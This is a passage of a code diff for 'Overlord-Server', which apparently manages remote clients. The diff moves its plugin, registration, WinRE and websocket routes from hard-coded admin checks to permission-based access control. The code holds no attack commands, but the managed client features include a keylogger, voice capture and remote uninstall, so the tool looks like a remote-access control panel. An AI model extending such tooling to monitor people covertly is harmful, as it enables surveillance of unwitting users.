+    }
+
+    if (req.method === "GET") {
+      const group = getPermissionGroup(groupId);
+      if (!group) return Response.json({ error: "Not found" }, { status: 404 });
+      return Response.json({ group });
+    }
+
+    if (req.method === "PATCH" || req.method === "PUT") {
+      let body: any;
+      try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
+      const updates: Parameters<typeof updatePermissionGroup>[1] = {};
+      if (body?.name !== undefined) updates.name = String(body.name);
+      if (body?.description !== undefined) updates.description = body.description === null ? null : String(body.description);
+      if (body?.permissions !== undefined) updates.permissions = sanitizePermissions(body.permissions);
+      const result = updatePermissionGroup(groupId, updates);
+      if (!result.success) return Response.json({ error: result.error }, { status: 400 });
+
+      logAudit({
+        timestamp: Date.now(),
+        username: authed.username,
+        ip: server.requestIP(req)?.address || "unknown",
+        action: AuditAction.COMMAND,
+        details: `Updated permission group "${result.group!.name}"`,
+        success: true,
+      });
+      return Response.json({ group: result.group });
+    }
+
+    if (req.method === "DELETE") {
+      const existing = getPermissionGroup(groupId);
+      const result = deletePermissionGroup(groupId);
+      if (!result.success) return Response.json({ error: result.error }, { status: 404 });
+
+      logAudit({
+        timestamp: Date.now(),
+        username: authed.username,
+        ip: server.requestIP(req)?.address || "unknown",
+        action: AuditAction.COMMAND,
+        details: `Deleted permission group "${existing?.name ?? groupId}"`,
+        success: true,
+      });
+      return Response.json({ ok: true });
+    }
+  }
+
+  const userGroupsMatch = url.pathname.match(/^\/api\/users\/(\d+)\/permission-groups$/);
+  if (userGroupsMatch) {
+    const targetUserId = Number(userGroupsMatch[1]);
+    const user = await authenticateRequest(req);
+    let authed;
+    try {
+      authed = requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+
+    if (!getUserById(targetUserId)) {
+      return Response.json({ error: "User not found" }, { status: 404 });
+    }
+
+    if (req.method === "GET") {
+      return Response.json({ groupIds: getUserGroupIds(targetUserId) });
+    }
+
+    if (req.method === "PUT") {
+      let body: any;
+      try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
+      const ids = Array.isArray(body?.groupIds)
+        ? body.groupIds.map((g: any) => Number(g)).filter((g: number) => Number.isFinite(g))
+        : [];
+      const result = setUserGroups(targetUserId, ids);
+      if (!result.success) return Response.json({ error: result.error }, { status: 400 });
+
+      logAudit({
+        timestamp: Date.now(),
+        username: authed.username,
+        ip: server.requestIP(req)?.address || "unknown",
+        action: AuditAction.COMMAND,
+        details: `Assigned ${ids.length} permission group(s) to user #${targetUserId}`,
+        success: true,
+      });
+      return Response.json({ ok: true, groupIds: ids });
+    }
+  }
+
+  const userExtrasMatch = url.pathname.match(/^\/api\/users\/(\d+)\/extra-permissions$/);
+  if (userExtrasMatch) {
+    const targetUserId = Number(userExtrasMatch[1]);
+    const user = await authenticateRequest(req);
+    let authed;
+    try {
+      authed = requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+
+    if (!getUserById(targetUserId)) {
+      return Response.json({ error: "User not found" }, { status: 404 });
+    }
+
+    if (req.method === "GET") {
+      return Response.json({ permissions: Array.from(getUserExtraPermissions(targetUserId)).sort() });
+    }
+
+    if (req.method === "PUT") {
+      let body: any;
+      try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
+      const perms = sanitizePermissions(body?.permissions);
+      const result = setUserExtraPermissions(targetUserId, perms);
+      if (!result.success) return Response.json({ error: result.error }, { status: 400 });
+
+      logAudit({
+        timestamp: Date.now(),
+        username: authed.username,
+        ip: server.requestIP(req)?.address || "unknown",
+        action: AuditAction.COMMAND,
+        details: `Set ${perms.length} extra permission(s) on user #${targetUserId}`,
+        success: true,
+      });
+      return Response.json({ ok: true, permissions: perms });
+    }
+  }
+
+  return null;
+}
diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts
index ae47a87..81230a4 100644
--- a/Overlord-Server/src/server/routes/plugin-routes.ts
+++ b/Overlord-Server/src/server/routes/plugin-routes.ts
@@ -4,8 +4,8 @@ import path from "path";
 import AdmZip from "adm-zip";
 import { v4 as uuidv4 } from "uuid";
 import { authenticateRequest } from "../../auth";
-import { requirePermission } from "../../rbac";
-import { canUserAccessClient, canUserAccessPlugin } from "../../users";
+import { requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
+import { canUserAccessPlugin } from "../../users";
 import * as clientManager from "../../clientManager";
 import { metrics } from "../../metrics";
 import { encodeMessage, type PluginSignatureInfo } from "../../protocol";
@@ -146,8 +146,11 @@ export async function handlePluginRoutes(
   if (req.method === "GET" && url.pathname === "/api/plugins/trusted-keys") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const config = getConfig();
     const allKeys = Array.from(new Set([...BUILTIN_TRUSTED_KEYS, ...config.plugins.trustedKeys]));
@@ -157,8 +160,11 @@ export async function handlePluginRoutes(
   if (req.method === "POST" && url.pathname === "/api/plugins/trusted-keys") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let body: any = {};
     try { body = await req.json(); } catch {}
@@ -179,8 +185,11 @@ export async function handlePluginRoutes(
   if (req.method === "DELETE" && trustedKeyDeleteMatch) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const fingerprint = trustedKeyDeleteMatch[1].toLowerCase();
     const config = getConfig();
@@ -203,8 +212,11 @@ export async function handlePluginRoutes(
     }
 
     const clientId = clientPluginsMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, clientId)) {
-      return new Response("Forbidden: You do not have access to this client", { status: 403 });
+    try {
+      requireClientAccess(user, clientId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const loaded = deps.pluginLoadedByClient.get(clientId) || new Set<string>();
     const manifests = await deps.listPluginManifests();
@@ -226,8 +238,11 @@ export async function handlePluginRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin" && user.role !== "operator") {
-      return new Response("Forbidden: Admin or operator access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let form: FormData;
@@ -321,8 +336,11 @@ export async function handlePluginRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin" && user.role !== "operator") {
-      return new Response("Forbidden: Admin or operator access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let pluginId = "";
     try {
@@ -368,8 +386,11 @@ export async function handlePluginRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let pluginId = "";
     try {
@@ -460,8 +481,11 @@ export async function handlePluginRoutes(
     try { requirePermission(user, "clients:control"); } catch (e) { if (e instanceof Response) return e; return new Response("Forbidden", { status: 403 }); }
     let pluginId = "";
     try { pluginId = deps.sanitizePluginId(pluginDataListMatch[1]); } catch { return new Response("Invalid plugin id", { status: 400 }); }
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const dataDir = path.join(deps.PLUGIN_ROOT, pluginId, "data");
     await fs.mkdir(dataDir, { recursive: true });
@@ -492,8 +516,11 @@ export async function handlePluginRoutes(
     try { requirePermission(user, "clients:control"); } catch (e) { if (e instanceof Response) return e; return new Response("Forbidden", { status: 403 }); }
     let pluginId = "";
     try { pluginId = deps.sanitizePluginId(pluginDataReadMatch[1]); } catch { return new Response("Invalid plugin id", { status: 400 }); }
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let relPath = pluginDataReadMatch[2];
     try { relPath = decodeURIComponent(relPath); } catch { return new Response("Bad request", { status: 400 }); }
@@ -517,8 +544,11 @@ export async function handlePluginRoutes(
     try { requirePermission(user, "clients:control"); } catch (e) { if (e instanceof Response) return e; return new Response("Forbidden", { status: 403 }); }
     let pluginId = "";
     try { pluginId = deps.sanitizePluginId(pluginDataWriteMatch[1]); } catch { return new Response("Invalid plugin id", { status: 400 }); }
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let relPath = pluginDataWriteMatch[2];
     try { relPath = decodeURIComponent(relPath); } catch { return new Response("Bad request", { status: 400 }); }
@@ -558,8 +588,11 @@ export async function handlePluginRoutes(
     try { requirePermission(user, "clients:control"); } catch (e) { if (e instanceof Response) return e; return new Response("Forbidden", { status: 403 }); }
     let pluginId = "";
     try { pluginId = deps.sanitizePluginId(pluginDataDeleteMatch[1]); } catch { return new Response("Invalid plugin id", { status: 400 }); }
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let relPath = pluginDataDeleteMatch[2];
     try { relPath = decodeURIComponent(relPath); } catch { return new Response("Bad request", { status: 400 }); }
@@ -589,13 +622,19 @@ export async function handlePluginRoutes(
   if (req.method === "POST" && pluginExecMatch) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let pluginId = "";
     try { pluginId = deps.sanitizePluginId(pluginExecMatch[1]); } catch { return new Response("Invalid plugin id", { status: 400 }); }
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let body: any = {};
     try { body = await req.json(); } catch { return new Response("Bad request", { status: 400 }); }
@@ -657,8 +696,11 @@ export async function handlePluginRoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin" && user.role !== "operator") {
-      return new Response("Forbidden: Admin or operator access required", { status: 403 });
+    try {
+      requirePermission(user, "plugins:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let pluginId = "";
@@ -733,12 +775,18 @@ export async function handlePluginRoutes(
       return new Response("Forbidden", { status: 403 });
     }
     const targetId = pluginLoadMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: You do not have access to this client", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const pluginId = pluginLoadMatch[2];
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const target = clientManager.getClient(targetId);
     if (!target) return new Response("Not found", { status: 404 });
@@ -793,12 +841,18 @@ export async function handlePluginRoutes(
       return new Response("Forbidden", { status: 403 });
     }
     const targetId = pluginEventsPollMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: You do not have access to this client", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const pluginId = pluginEventsPollMatch[2];
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const events = deps.drainPluginUIEvents(targetId, pluginId);
     return Response.json({ events });
@@ -816,12 +870,18 @@ export async function handlePluginRoutes(
     }
 
     const targetId = pluginEventMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: You do not have access to this client", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const pluginId = pluginEventMatch[2];
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const target = clientManager.getClient(targetId);
     if (!target) return new Response("Not found", { status: 404 });
@@ -881,12 +941,18 @@ export async function handlePluginRoutes(
     }
 
     const targetId = pluginUnloadMatch[1];
-    if (!canUserAccessClient(user.userId, user.role, targetId)) {
-      return new Response("Forbidden: You do not have access to this client", { status: 403 });
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const pluginId = pluginUnloadMatch[2];
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     const target = clientManager.getClient(targetId);
     if (!target) return new Response("Not found", { status: 404 });
@@ -923,8 +989,11 @@ export async function handlePluginRoutes(
       return new Response("Invalid plugin id", { status: 400 });
     }
 
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (deps.pluginState.enabled[pluginId] === false) {
@@ -976,8 +1045,11 @@ export async function handlePluginRoutes(
       return new Response("Invalid plugin id", { status: 400 });
     }
 
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (deps.pluginState.enabled[pluginId] === false) {
@@ -1041,8 +1113,11 @@ export async function handlePluginRoutes(
       return new Response("Invalid plugin id", { status: 400 });
     }
 
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
@@ -1085,13 +1160,21 @@ export async function handlePluginRoutes(
       return new Response("Invalid plugin id", { status: 400 });
     }
 
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     const clientId = url.searchParams.get("clientId") || "";
-    if (clientId && !canUserAccessClient(user.userId, user.role, clientId)) {
-      return new Response("Forbidden: Client access denied", { status: 403 });
+    if (clientId) {
+      try {
+        requireClientAccess(user, clientId);
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
     }
 
     const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
@@ -1180,8 +1263,11 @@ export async function handlePluginRoutes(
     }
 
     const [, pluginId, assetPath] = pluginAssetMatch;
-    if (!canUserAccessPlugin(user.userId, user.role, pluginId)) {
-      return new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+    try {
+      requirePluginAccess(user, pluginId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
     let decodedPath = assetPath;
     try {
diff --git a/Overlord-Server/src/server/routes/registration-routes.ts b/Overlord-Server/src/server/routes/registration-routes.ts
index 13986ba..f302c2d 100644
--- a/Overlord-Server/src/server/routes/registration-routes.ts
+++ b/Overlord-Server/src/server/routes/registration-routes.ts
@@ -2,6 +2,7 @@ import { authenticateRequest } from "../../auth";
 import { AuditAction, logAudit } from "../../auditLog";
 import { getConfig } from "../../config";
 import { logger } from "../../logger";
+import { requirePermission } from "../../rbac";
 import {
   registerUser,
   deleteUser,
@@ -225,7 +226,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "GET" && url.pathname === "/api/registration/keys") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     const keys = listRegistrationKeys();
     return Response.json({ keys });
@@ -234,7 +240,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "POST" && url.pathname === "/api/registration/keys") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     let body: any;
     try {
@@ -267,7 +278,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "DELETE" && url.pathname.match(/^\/api\/registration\/keys\/\d+$/)) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     const keyId = Number(url.pathname.split("/").pop());
     if (!keyId || !Number.isFinite(keyId)) {
@@ -296,7 +312,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "GET" && url.pathname === "/api/registration/keys/export") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     const keys = listRegistrationKeys();
     const exportData = keys.map((k) => ({
@@ -319,7 +340,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "GET" && url.pathname === "/api/registration/pending") {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     const pending = listPendingRegistrations();
     return Response.json({
@@ -336,7 +362,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "POST" && url.pathname.match(/^\/api\/registration\/pending\/\d+\/approve$/)) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     const pendingId = Number(url.pathname.split("/")[4]);
     if (!pendingId || !Number.isFinite(pendingId)) {
@@ -371,7 +402,12 @@ export async function handleRegistrationRoutes(
   if (req.method === "POST" && url.pathname.match(/^\/api\/registration\/pending\/\d+\/deny$/)) {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
 
     const pendingId = Number(url.pathname.split("/")[4]);
     if (!pendingId || !Number.isFinite(pendingId)) {
diff --git a/Overlord-Server/src/server/routes/sol-routes.ts b/Overlord-Server/src/server/routes/sol-routes.ts
index e676698..02df522 100644
--- a/Overlord-Server/src/server/routes/sol-routes.ts
+++ b/Overlord-Server/src/server/routes/sol-routes.ts
@@ -2,6 +2,7 @@ import { createHash, randomBytes, createCipheriv } from "crypto";
 import { authenticateRequest } from "../../auth";
 import { getConfig } from "../../config";
 import { logger } from "../../logger";
+import { requirePermission } from "../../rbac";
 
 let _solana: typeof import("@solana/web3.js") | null = null;
 async function getSolana() {
@@ -71,8 +72,11 @@ export async function handleSolRoutes(
       return new Response("Unauthorized", { status: 401 });
     }
 
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "system:configure");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     if (req.method === "POST" && url.pathname === "/api/sol/preview") {
diff --git a/Overlord-Server/src/server/routes/webrtc-routes.ts b/Overlord-Server/src/server/routes/webrtc-routes.ts
index 294c829..173f722 100644
--- a/Overlord-Server/src/server/routes/webrtc-routes.ts
+++ b/Overlord-Server/src/server/routes/webrtc-routes.ts
@@ -1,6 +1,6 @@
 import { randomBytes } from "node:crypto";
 import { authenticateRequest } from "../../auth";
-import { canUserAccessClient } from "../../users";
+import { requireClientAccess } from "../../rbac";
 import { logger } from "../../logger";
 
 const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, "");
@@ -57,7 +57,10 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
   } else {
     const user = await authenticateRequest(req);
     if (!user) return new Response("Unauthorized", { status: 401 });
-    if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
+    try {
+      requireClientAccess(user, clientId);
+    } catch (error) {
+      if (error instanceof Response) return error;
       return new Response("Forbidden", { status: 403 });
     }
   }
diff --git a/Overlord-Server/src/server/routes/winre-routes.ts b/Overlord-Server/src/server/routes/winre-routes.ts
index 06ab509..a9540d7 100644
--- a/Overlord-Server/src/server/routes/winre-routes.ts
+++ b/Overlord-Server/src/server/routes/winre-routes.ts
@@ -6,6 +6,7 @@ import { AuditAction, logAudit } from "../../auditLog";
 import * as clientManager from "../../clientManager";
 import { metrics } from "../../metrics";
 import { encodeMessage } from "../../protocol";
+import { requirePermission } from "../../rbac";
 import { createUploadPull } from "./file-download-routes";
 
 type RequestIpProvider = {
@@ -39,8 +40,11 @@ export async function handleWinRERoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:winre");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let form: FormData;
@@ -80,8 +84,11 @@ export async function handleWinRERoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:winre");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -169,8 +176,11 @@ export async function handleWinRERoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:winre");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -232,8 +242,11 @@ export async function handleWinRERoutes(
     if (!user) {
       return new Response("Unauthorized", { status: 401 });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "clients:winre");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
index cccc7f9..f0e290c 100644
--- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
+++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts
@@ -1,8 +1,8 @@
 import { authenticateRequest } from "../../auth";
 import { logger } from "../../logger";
 import { isIpBanned } from "../../db";
-import { canUserAccessClient, canUserAccessFeature, hasPermission } from "../../users";
 import type { FeatureName } from "../../users";
+import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac";
 
 type RequestServer = {
   requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -47,11 +47,12 @@ function checkOperatorAccess(
   clientId: string,
   feature: FeatureName,
 ): Response | null {
-  if (!canUserAccessClient(user.userId, user.role as any, clientId)) {
-    return new Response("Forbidden: client access denied", { status: 403 });
-  }
-  if (!canUserAccessFeature(user.userId, user.role as any, feature)) {
-    return new Response("Forbidden: feature access denied", { status: 403 });
+  try {
+    requireClientAccess(user as any, clientId);
+    requireFeatureAccess(user as any, feature);
+  } catch (error) {
+    if (error instanceof Response) return error;
+    return new Response("Forbidden", { status: 403 });
   }
   return null;
 }
diff --git a/Overlord-Server/src/users.build-permission.test.ts b/Overlord-Server/src/users.build-permission.test.ts
index 7ff2a36..c0280d7 100644
--- a/Overlord-Server/src/users.build-permission.test.ts
+++ b/Overlord-Server/src/users.build-permission.test.ts
@@ -4,9 +4,9 @@ import {
   createUser,
   deleteUser,
   getUserByUsername,
-  hasPermission,
   setUserCanBuild,
 } from "./users";
+import { hasPermission } from "./rbac";
 
 const createdUserIds: number[] = [];
 
diff --git a/Overlord-Server/src/users.feature-permissions.test.ts b/Overlord-Server/src/users.feature-permissions.test.ts
index 168a33a..e46b1ce 100644
--- a/Overlord-Server/src/users.feature-permissions.test.ts
+++ b/Overlord-Server/src/users.feature-permissions.test.ts
@@ -44,6 +44,10 @@ describe("feature permissions", () => {
       "processes",
       "keylogger",
       "voice",
+      "disconnect",
+      "reconnect",
+      "uninstall",
+      "client_metadata",
     ]);
   });
 
diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts
index 4fa519b..54bad32 100644
--- a/Overlord-Server/src/users.ts
+++ b/Overlord-Server/src/users.ts
@@ -63,6 +63,15 @@ type UserAccessCacheEntry = {
 const userAccessCache = new Map<number, UserAccessCacheEntry>();
 let notificationDeliveryCache: UserDeliveryRow[] | null = null;
 
+type AccessCheck<E extends any[]> = (userId: number, role: UserRole, ...extra: E) => boolean;
+
+function withAdminBypass<E extends any[]>(check: AccessCheck<E>): AccessCheck<E> {
+  return (userId, role, ...extra) => {
+    if (role === "admin") return true;
+    return check(userId, role, ...extra);
+  };
+}
+
 db.exec(`
   CREATE TABLE IF NOT EXISTS users (
     id INTEGER PRIMARY KEY AUTOINCREMENT,
@@ -115,147 +124,170 @@ db.exec(
   `CREATE INDEX IF NOT EXISTS idx_user_plugin_access_rules_user ON user_plugin_access_rules(user_id)`,
 );
 
-try {
-  db.exec(
-    `ALTER TABLE users ADD COLUMN must_change_password INTEGER DEFAULT 0`,
-  );
-  logger.info("[users] Added must_change_password column to existing database");
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
-
-try {
-  db.exec(
-    `ALTER TABLE users ADD COLUMN client_scope TEXT NOT NULL DEFAULT 'none' CHECK(client_scope IN ('none', 'allowlist', 'denylist', 'all'))`,
-  );
-  logger.info("[users] Added client_scope column to existing database");
-} catch (err: any) {
-  if (!err.message?.includes("duplicate column name")) {
-    logger.error("[users] Migration error:", err);
-  }
-}
-
-try {
-  db.exec(`UPDATE users SET client_scope='all' WHERE role='admin'`);
-} catch (err: any) {
-  logger.error("[users] Failed to normalize admin client_scope:", err);
-}
-
-try {
